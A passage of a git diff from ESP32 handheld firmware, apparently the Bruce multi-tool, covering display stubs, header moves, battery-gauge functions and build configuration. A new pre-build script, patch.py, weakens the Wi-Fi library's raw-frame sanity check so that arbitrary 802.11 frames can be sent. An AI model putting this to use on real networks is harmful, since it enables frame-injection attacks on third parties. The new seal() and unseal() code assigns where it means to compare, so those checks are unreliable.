int32_t ry, uint16_t color) { + // TODO + if(rx0) { + rectangle(cx-r,cy,cx,cy+delta,false); + rectangle(cx-r,cy,cx,cy+delta,true); + } + } + if (corners & 1) { + arc(cx,cy,r,TO_FP32(270),TO_FP32(180),false); // drawing edges separately makes things fit better + arc(cx,cy,r,TO_FP32(270),TO_FP32(180),true); + arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),false); + arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),true); + if (delta>0) { + rectangle(cx,cy,cx+r,cy+delta,false); + rectangle(cx,cy,cx+r,cy+delta,true); + } + } + } + + void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data) {}; + void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data, uint16_t transparent) {}; + + void setAddrWindow(int32_t xs, int32_t ys, int32_t w, int32_t h) {}; + void pushPixels(const void * data_in, uint32_t len) {}; + + void startWrite(void) {}; + void endWrite(void) {}; + + + /* the following Adafruit GFX APIs are not implemented at present */ +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunused-parameter" + void drawChar(int16_t x, int16_t y, unsigned char c, uint16_t color, + uint16_t bg, uint8_t size) {} + void setFont(const void /*GFXfont*/ *f = NULL) {} + void getTextBounds(const char *string, int16_t x, int16_t y, + int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {} + void getTextBounds(const void /*__FlashStringHelper*/ *s, int16_t x, int16_t y, + int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {} +#pragma GCC diagnostic pop +}; + +class SerialDisplayClass : public VectorDisplayClass { + private: + Stream& s; + const bool doSerialBegin; + + public: + virtual int remoteRead() override { + //return s.read(); + return('A'); + } + + virtual void remoteWrite(uint8_t c) override { + //s.write(c); + } + + virtual void remoteWrite(const void* data, size_t n) override { + //s.write((uint8_t*)data, n); + } + + /* only works with the Serial object; do not call externally without it */ + void begin(uint32_t speed, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) { +#ifndef NO_SERIAL + if (doSerialBegin) { + Serial.begin(speed); + while(!Serial) ; + } +#endif + VectorDisplayClass::begin(width, height); + } + + bool getSwapBytes(void) { return false; } // stub + void setSwapBytes(bool swap) { return; } // stub + + virtual void begin(int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) override { + begin(115200, width, height); + } + + virtual size_t remoteAvailable() override { + return s.available(); + } + +#ifndef NO_SERIAL + SerialDisplayClass() : s(Serial), doSerialBegin(true) {} +#endif + + SerialDisplayClass(Stream& _s) : s(_s), doSerialBegin(false) {} +}; + +#ifdef ESP8266 +class WiFiDisplayClass : public SerialDisplayClass { + private: + WiFiClient client; + public: + bool begin(const char* host, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) { + VectorDisplayClass::begin(width, height); + return client.connect(host, 7788); + } + + virtual void end() override { + VectorDisplayClass::end(); + client.stop(); + } + + WiFiDisplayClass() : SerialDisplayClass(client) { + } +}; +#endif + +#endif diff --git a/src/core/globals.h b/include/globals.h similarity index 86% rename from src/core/globals.h rename to include/globals.h index 4c78510b..d159e7ff 100644 --- a/src/core/globals.h +++ b/include/globals.h @@ -1,6 +1,6 @@ #pragma once -#include "precompiler_flags.h" -#include "interface.h" +#include +#include // Globals.h #define ALCOLOR TFT_RED @@ -14,8 +14,8 @@ #include #include #include -#include "config.h" -#include "startup_app.h" +#include "core/config.h" +#include "core/startup_app.h" #if defined(HAS_RTC) #include "../lib/RTC/cplus_RTC.h" @@ -28,12 +28,17 @@ extern TFT_eSprite sprite; extern TFT_eSprite draw; #else - #include "VectorDisplay.h" + #include extern SerialDisplayClass tft; extern SerialDisplayClass& sprite; extern SerialDisplayClass& draw; #endif +#ifdef USE_BQ27220_VIA_I2C + #include + extern BQ27220 bq; +#endif + extern bool interpreter_start; extern BruceConfig bruceConfig; @@ -55,6 +60,9 @@ extern bool sdcardMounted; // inform if SD Cardis active or not extern bool wifiConnected; // inform if wifi is active or not +extern volatile int tftWidth; +extern volatile int tftHeight; + extern String wifiIP; extern bool BLEConnected; // inform if BLE is active or not @@ -86,12 +94,6 @@ extern String cachedPassword; extern unsigned long previousMillis; extern bool isSleeping; extern bool isScreenOff; - -void backToMenu(); - -void updateTimeStr(struct tm timeInfo); - extern bool dimmer; -void setup_gpio(); - +void setup_gpio(); \ No newline at end of file diff --git a/ports/_New-Device-Model/interface.h b/include/interface.h similarity index 100% rename from ports/_New-Device-Model/interface.h rename to include/interface.h diff --git a/src/core/precompiler_flags.h b/include/precompiler_flags.h similarity index 97% rename from src/core/precompiler_flags.h rename to include/precompiler_flags.h index a9466682..ccc217e5 100644 --- a/src/core/precompiler_flags.h +++ b/include/precompiler_flags.h @@ -37,11 +37,11 @@ #ifndef ROTATION #define ROTATION 1 #endif -#ifndef WIDTH - #define WIDTH 240 +#ifndef TFT_WIDTH + #define TFT_WIDTH 240 #endif -#ifndef HEIGHT - #define HEIGHT 135 +#ifndef TFT_HEIGHT + #define TFT_HEIGHT 135 #endif // Default initializers diff --git a/lib/M5GFX/src/M5GFX.cpp b/lib/M5GFX/src/M5GFX.cpp index 7ec726b2..b960e755 100644 --- a/lib/M5GFX/src/M5GFX.cpp +++ b/lib/M5GFX/src/M5GFX.cpp @@ -846,7 +846,7 @@ namespace m5gfx // fore Core2 1st gen (AXP192) // AXP192_LDO2 = LCD PWR // AXP192_IO4 = LCD RST - // AXP192_DC3 = LCD BL (Core2) + // AXP192_DC3 = LCD BL (ARDUINO_M5STACK_CORE2) // AXP192_LDO3 = LCD BL (Tough) // AXP192_IO1 = TP RST (Tough) static constexpr uint8_t reg_data_axp192_first[] = { diff --git a/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp b/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp index e52359c6..da1ac21a 100644 --- a/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp +++ b/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp @@ -61,8 +61,12 @@ namespace lgfx public: LGFXBase(void) = default; virtual ~LGFXBase(void) = default; - static constexpr uint16_t tftwidth = WIDTH; - static constexpr uint16_t tftheight = HEIGHT; + static constexpr uint16_t tftwidth = TFT_HEIGHT; + #ifdef HAS_TOUCH + static constexpr uint16_t tftheight = TFT_WIDTH-20; + #else + static constexpr uint16_t tftheight = TFT_WIDTH; + #endif static constexpr uint16_t textsize = 2; static constexpr uint16_t textcolor = TFT_GREEN; static constexpr uint16_t textbgcolor = TFT_BLACK; diff --git a/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h b/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h index 5bb75ec8..3241724b 100644 --- a/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h +++ b/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h @@ -4,7 +4,7 @@ // This setup information uses simple 8-bit SPI writecommand() and writedata() functions // // See ST7735_Setup.h file for an alternative format -#if defined(CORE2) +#if defined(ARDUINO_M5STACK_CORE2) { writecommand(0xC8); writedata(0xFF); diff --git a/lib/utility/Keyboard.cpp b/lib/utility/Keyboard.cpp index cc4fe92c..c1d89680 100644 --- a/lib/utility/Keyboard.cpp +++ b/lib/utility/Keyboard.cpp @@ -1,4 +1,4 @@ -#ifdef CARDPUTER +#ifdef ARDUINO_M5STACK_CARDPUTER /** * @file keyboard.cpp * @author Forairaaaaa diff --git a/lib/utility/Keyboard.h b/lib/utility/Keyboard.h index c8d3f0d5..c7c9d461 100644 --- a/lib/utility/Keyboard.h +++ b/lib/utility/Keyboard.h @@ -1,4 +1,4 @@ -#ifdef CARDPUTER +#ifdef ARDUINO_M5STACK_CARDPUTER /** * @file keyboard.h * @author Forairaaaaa @@ -13,7 +13,6 @@ #include #include #include "Arduino.h" -#include "Keyboard_def.h" struct Chart_t { diff --git a/lib/utility/bq27220.cpp b/lib/utility/bq27220.cpp index d1dff254..f52f4f82 100644 --- a/lib/utility/bq27220.cpp +++ b/lib/utility/bq27220.cpp @@ -2,6 +2,36 @@ BQ27220::BQ27220() : addr{BQ27220_I2C_ADDRESS}, wire(&Wire), scl(BQ27220_I2C_SCL), sda(BQ27220_I2C_SDA) {} +bool BQ27220::unseal() +{ + OP_STATUS status; + + writeCtrlWord(BQ27220_UNSEAL_KEY1); + delayMicroseconds(5000); + writeCtrlWord(BQ27220_UNSEAL_KEY2); + delayMicroseconds(5000); + status = OP_STATUS(readWord(BQ27220_CONTROL_CONTROL_STATUS)); + if(status = OP_STATUS::UNSEALED) + { + return true; + } + return false; +} + +bool BQ27220::seal() +{ + OP_STATUS status; + + writeCtrlWord(BQ27220_CONTROL_SEALED); + delayMicroseconds(5000); + status = OP_STATUS(readWord(BQ27220_CONTROL_CONTROL_STATUS)); + if(status = OP_STATUS::SEALED) + { + return true; + } + return false; +} + uint16_t BQ27220::getTemp() { return readWord(BQ27220_COMMAND_TEMP); @@ -19,6 +49,11 @@ bool BQ27220::getIsCharging(void) return !bat_st.st.DSG; } +uint16_t BQ27220::getTimeToEmpty() +{ + return readWord(BQ27220_COMMAND_TTE); +} + uint16_t BQ27220::getRemainCap() { return readWord(BQ27220_COMMAND_REMAIN_CAPACITY); @@ -34,6 +69,16 @@ uint16_t BQ27220::getChargePcnt(void) return readWord(BQ27220_COMMAND_STATE_CHARGE); } +uint16_t BQ27220::getAvgPower(void) +{ + return readWord(BQ27220_COMMAND_AVG_PWR); +} + +uint16_t BQ27220::getStandbyCur(void) +{ + return readWord(BQ27220_COMMAND_STANDBY_CURR); +} + uint16_t BQ27220::getVolt(VOLT_MODE type) { switch (type) @@ -106,6 +151,18 @@ uint16_t BQ27220::readCtrlWord(uint16_t fun) return 0; } + +uint16_t BQ27220::writeCtrlWord(uint16_t fun) +{ + uint8_t msb = (fun >> 8); + uint8_t lsb = (fun & 0x00FF); + uint8_t cmd[2] = {lsb, msb}; + uint8_t data[2] = {0}; + + i2cWriteBytes((uint8_t)BQ27220_COMMAND_CONTROL, cmd, 2); + return 0; +} + bool BQ27220::i2cReadBytes(uint8_t subAddress, uint8_t *dest, uint8_t count) { wire->beginTransmission(addr); diff --git a/lib/utility/bq27220.h b/lib/utility/bq27220.h index c561431c..413fcc1b 100644 --- a/lib/utility/bq27220.h +++ b/lib/utility/bq27220.h @@ -1,3 +1,6 @@ +#ifndef __BQ27220_H__ +#define __BQ27220_H__ + #define BQ27220_I2C_ADDRESS 0x55 // device addr #define BQ27220_I2C_SDA #define BQ27220_I2C_SCL @@ -68,6 +71,12 @@ #include #include +typedef enum OP_STATUS{ + SEALED = 0b11, + UNSEALED = 0b10, + FULL = 0b01, +}; + enum CURR_MODE { CURR_RAW, @@ -112,12 +121,17 @@ class BQ27220 { public: BQ27220(); + bool unseal(); + bool seal(); uint16_t getTemp(); uint16_t getBatterySt(void); bool getIsCharging(void); uint16_t getRemainCap(); + uint16_t getTimeToEmpty(); uint16_t getFullChargeCap(void); uint16_t getChargePcnt(void); + uint16_t getAvgPower(void); + uint16_t getStandbyCur(void); uint16_t getVolt(VOLT_MODE type); int16_t getCurr(CURR_MODE type); uint16_t getId(); @@ -132,4 +146,7 @@ class BQ27220 bool i2cWriteBytes(uint8_t subAddress, uint8_t *src, uint8_t count); uint16_t readWord(uint16_t subAddress); uint16_t readCtrlWord(uint16_t fun); -}; \ No newline at end of file + uint16_t writeCtrlWord(uint16_t fun); +}; + +#endif \ No newline at end of file diff --git a/media/pcbs/TH3_KR4K3N/pcb_back.jpg b/media/pcbs/TH3_KR4K3N/pcb_back.jpg deleted file mode 100644 index 698aadcd..00000000 Binary files a/media/pcbs/TH3_KR4K3N/pcb_back.jpg and /dev/null differ diff --git a/media/pcbs/smoochie/Bruce_PCB_full.png b/media/pcbs/smoochie/Bruce_PCB_full.png deleted file mode 100644 index 428693e0..00000000 Binary files a/media/pcbs/smoochie/Bruce_PCB_full.png and /dev/null differ diff --git a/media/pcbs/smoochie/back.png b/media/pcbs/smoochie/back.png deleted file mode 100644 index a05573f2..00000000 Binary files a/media/pcbs/smoochie/back.png and /dev/null differ diff --git a/media/pcbs/smoochie/front.png b/media/pcbs/smoochie/front.png deleted file mode 100644 index aba46f01..00000000 Binary files a/media/pcbs/smoochie/front.png and /dev/null differ diff --git a/media/pcbs/ultramarines/ultramarines_full_side.jpg b/media/pcbs/ultramarines/ultramarines_full_side.jpg deleted file mode 100644 index 94b6f935..00000000 Binary files a/media/pcbs/ultramarines/ultramarines_full_side.jpg and /dev/null differ diff --git a/media/pcbs/ultramarines/ultramarines_pcb_back.jpg b/media/pcbs/ultramarines/ultramarines_pcb_back.jpg deleted file mode 100644 index 446f8afd..00000000 Binary files a/media/pcbs/ultramarines/ultramarines_pcb_back.jpg and /dev/null differ diff --git a/media/pcbs/ultramarines/ultramarines_pcb_front.png b/media/pcbs/ultramarines/ultramarines_pcb_front.png deleted file mode 100644 index f696e17d..00000000 Binary files a/media/pcbs/ultramarines/ultramarines_pcb_front.png and /dev/null differ diff --git a/patch.py b/patch.py new file mode 100644 index 00000000..0e07d31f --- /dev/null +++ b/patch.py @@ -0,0 +1,27 @@ +from os.path import join, isfile +from os import rename, remove +import sys + +Import("env") + +FRAMEWORK_DIR = env.PioPlatform().get_package_dir("framework-arduinoespressif32") +patchflag_path = join(FRAMEWORK_DIR, ".patched") +board_mcu = env.BoardConfig() +mcu = board_mcu.get("build.mcu", "") + +# patch file only if we didn't do it befored +if not isfile(join(FRAMEWORK_DIR, ".patched")): + original_file = join(FRAMEWORK_DIR, "tools", "sdk", mcu, "lib", "libnet80211.a") + patched_file = join(FRAMEWORK_DIR, "tools", "sdk", mcu, "lib", "libnet80211.a.patched") + + env.Execute("pio pkg exec -p toolchain-xtensa-%s -- xtensa-%s-elf-objcopy --weaken-symbol=s %s %s" % (mcu, mcu, original_file, patched_file)) + if(isfile("%s.old"%(original_file))): + remove("%s.old"%(original_file)) + rename(original_file,"%s.old"%(original_file)) + env.Execute("pio pkg exec -p toolchain-xtensa-%s -- xtensa-%s-elf-objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check %s %s" % (mcu, mcu, patched_file, original_file)) + + def _touch(path): + with open(path, "w") as fp: + fp.write("") + + env.Execute(lambda *args, **kwargs: _touch(patchflag_path)) diff --git a/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv b/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv deleted file mode 100644 index fc00fdb8..00000000 Binary files a/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv and /dev/null differ diff --git a/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv b/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv deleted file mode 100644 index f9ebb7c2..00000000 Binary files a/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv and /dev/null differ diff --git a/pcbs/Bruce_PCB_smoochie/README.md b/pcbs/Bruce_PCB_smoochie/README.md deleted file mode 100644 index 1257b6be..00000000 --- a/pcbs/Bruce_PCB_smoochie/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# Bruce PCB - -This PCB was designed by Smoochiee - -IF YOU LIKE SMOOCHIEE'S PROJECT PLEASE CONSIDER DONATING TO HIS PAYPAL..ANY DONATION WILL BE USE FOR PCB AND TESTING OTHER MODULES - -https://www.paypal.com/paypalme/smoochieelee?country.x=PH&locale.x=en_US diff --git a/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf b/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf deleted file mode 100644 index a21b69c1..00000000 Binary files a/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf and /dev/null differ diff --git a/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip b/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip deleted file mode 100644 index fe28cdf1..00000000 Binary files a/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip and /dev/null differ diff --git a/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip b/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip deleted file mode 100644 index c13cacd7..00000000 Binary files a/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip and /dev/null differ diff --git a/pcbs/M5Stick_Intermidiate_kr4k3n/README.md b/pcbs/M5Stick_Intermidiate_kr4k3n/README.md deleted file mode 100644 index b1ba7a07..00000000 --- a/pcbs/M5Stick_Intermidiate_kr4k3n/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Bruce PCB - -This PCB was designed by TH3_KR4K3N - diff --git a/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip b/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip deleted file mode 100644 index ac822fd3..00000000 Binary files a/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip and /dev/null differ diff --git a/pcbs/M5Stick_Intermidiate_ultramarines/README.md b/pcbs/M5Stick_Intermidiate_ultramarines/README.md deleted file mode 100644 index 26b45e84..00000000 --- a/pcbs/M5Stick_Intermidiate_ultramarines/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Bruce PCB - -This PCB was designed by ultramarines - diff --git a/pcbs/README.md b/pcbs/README.md deleted file mode 100644 index f6214e76..00000000 --- a/pcbs/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# Bruce PCBs - -Here are some of the open-source community made PCBs, you can download them and print whenever you want to OR you can order directly with our sponsor PCBWAY just by clicking on the banner above: -## Order here -[![PCB from PCBWay](https://www.pcbway.com/project/img/images/frompcbway-1220.png)](https://www.pcbway.com/project/shareproject/Bruce_PCB_Smoochiee_d6a0284b.html) - -## Bruce PCB from Smoochiee: - -![Bruce PCB v1](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/Bruce_PCB_full.png) -![Bruce PCB back](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/back.png) -![Bruce PCB front](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/front.png) diff --git a/platformio.ini b/platformio.ini index 884f878f..c95b13a5 100644 --- a/platformio.ini +++ b/platformio.ini @@ -24,14 +24,21 @@ default_envs = ;uncomment to not use global dirs to avoid possible conflicts ;platforms_dir = .pio/platforms ;packages_dir = .pio/packages -;build_cache_dir = .pio/buildcache -;cache_dir = .pio/cache +build_cache_dir = .pio/buildcache +cache_dir = .pio/cache extra_configs = - ports/*/platformio.ini + boards/*.ini + boards/*/*.ini [env] -monitor_filters = esp32_exception_decoder +platform = espressif32 +platform_packages = + framework-arduinoespressif32 @ https://github.com/bmorcelli/arduino-esp32/releases/download/2.0.17e/esp32-2.0.17e.zip +monitor_filters = esp32_exception_decoder, send_on_enter, colorize +framework = arduino +board_build.variants_dir = boards +board_build.filesystem = littlefs build_flags = -DBRUCE_VERSION='"dev"' -DEEPROMSIZE=128 @@ -50,12 +57,16 @@ build_flags = ;-DRF_MODULE_GDO2=RADIOLIB_NC ; CC1101 pin GDO2 ;-DRF_MODULE_INIT_STATUS=true +extra_scripts = + pre:patch.py + post:build.py + lib_deps = WireGuard-ESP32 IRremoteESP8266 Time LibSSH-ESP32 - PCA9554 + bakadave/PCA9554 https://github.com/bmorcelli/ESPping https://github.com/rennancockles/PN532 https://github.com/rennancockles/MFRC522-I2C @@ -69,8 +80,8 @@ lib_deps = https://github.com/bmorcelli/rc-switch ESP8266Audio FFat - ESP8266SAM - TinyGPSPlus + earlephilhower/ESP8266SAM@^1.0.1 + mikalhart/TinyGPSPlus tinyu-zhao/FFT@^0.0.1 h2zero/NimBLE-Arduino@^1.4.0 nrf24/RF24 @ ^1.4.9 diff --git a/ports/CYD-2432S028/interface.h b/ports/CYD-2432S028/interface.h deleted file mode 100644 index 863c20c0..00000000 --- a/ports/CYD-2432S028/interface.h +++ /dev/null @@ -1,136 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - -/*************************************************************************************** -** Function name: _post_setup_gpio() -** Location: main.cpp -** Description: second stage gpio setup to make a few functions work -***************************************************************************************/ -void _post_setup_gpio(); - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/ESP-General/interface.h b/ports/ESP-General/interface.h deleted file mode 100644 index 844098c6..00000000 --- a/ports/ESP-General/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/_New-Device-Model/platformio.ini b/ports/_New-Device-Model/platformio.ini deleted file mode 100644 index 8f536120..00000000 --- a/ports/_New-Device-Model/platformio.ini +++ /dev/null @@ -1,153 +0,0 @@ -; PlatformIO Project Configuration File -; -; Build options: build flags, source filter -; Upload options: custom upload port, speed and extra flags -; Library options: dependencies, extra library storages -; Advanced options: extra scripting -; -; Please visit documentation for the other options and examples -; https://docs.platformio.org/page/projectconf.html - -[env:NewDeviceModel] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = m5stack-stamps3 -framework = arduino -board_build.partitions = custom_8Mb.csv -build_flags = - ${env.build_flags} - -Iports/_New-Device-Model - -Os - -DCORE_DEBUG_LEVEL=5 - ;-DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work - - -DNEW_DEVICE=1 ;key for new device, - ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - - ;Features Enabled - # Config to use IRQ and RST pins of PN532, if needed - ;-DPN532_RF_REST=-1 - ;-DPN532_IRQ=-1 - - ;FM Radio - ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713 - -DFM_RSTPIN=40 - ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility - ;Microphone - ;-DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device - -DPIN_CLK=43 - -DI2S_SCLK_PIN=43 - -DI2S_DATA_PIN=46 - -DPIN_DATA=46 - - ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library - ;-DHAS_RGB_LED=1 ;uncomment to enable - -DRGB_LED=21 - - ;Have RTC Chip - ;-DHAS_RTC=1 - - ;Speaker to run music, compatible with NS4168 - ;-DHAS_NS4168_SPKR=1 ;uncomment to enable - -DBCLK=41 - -DWCLK=43 - -DDOUT=42 - - ;Can run USB as HID - ;-DUSB_as_HID=1 ;uncomment to enable - -DBAD_TX=GROVE_SDA - -DBAD_RX=GROVE_SCL - - ;Battery ADC read pin - ;-DBAT_PIN=10 - - ;Buttons configuration - -DHAS_BTN=0 - -DBTN_ALIAS='"Ok"' - -DBTN_PIN=0 - -DBTN_ACT=LOw - - ;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins - - ;Infrared Led default pin and state - -DIR_TX_PINS='{{"M5 IR Mod", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}' - -DIR_RX_PINS='{{"M5 IR Mod", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}' - -DLED=-1 ;NEED TO SET SOMETHING HERE, at least -1 - -DLED_ON=HIGH - -DLED_OFF=LOW - - ;Radio Frequency (one pin modules) pin setting - -DRF_TX_PINS='{{"M5 RF433T", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}' - -DRF_RX_PINS='{{"M5 FR433R", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}' - - ;CC1101 SPI connection pins - ; best connection pins for higher speed https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-reference/peripherals/spi_master.html#gpio-matrix-and-io-mux - ;-DUSE_CC1101_VIA_SPI - -DCC1101_GDO0_PIN=9 - -DCC1101_SS_PIN=10 - -DCC1101_MOSI_PIN=SPI_MOSI_PIN - -DCC1101_SCK_PIN=SPI_SCK_PIN - -DCC1101_MISO_PIN=SPI_MISO_PIN - ;-DCC1101_GDO2_PIN=14 ; optional - - ; connections are the same as CC1101 - ;-DUSE_NRF24_VIA_SPI - -DNRF24_CE_PIN=6 - -DNRF24_SS_PIN=7 ; chip select - -DNRF24_MOSI_PIN=SPI_MOSI_PIN - 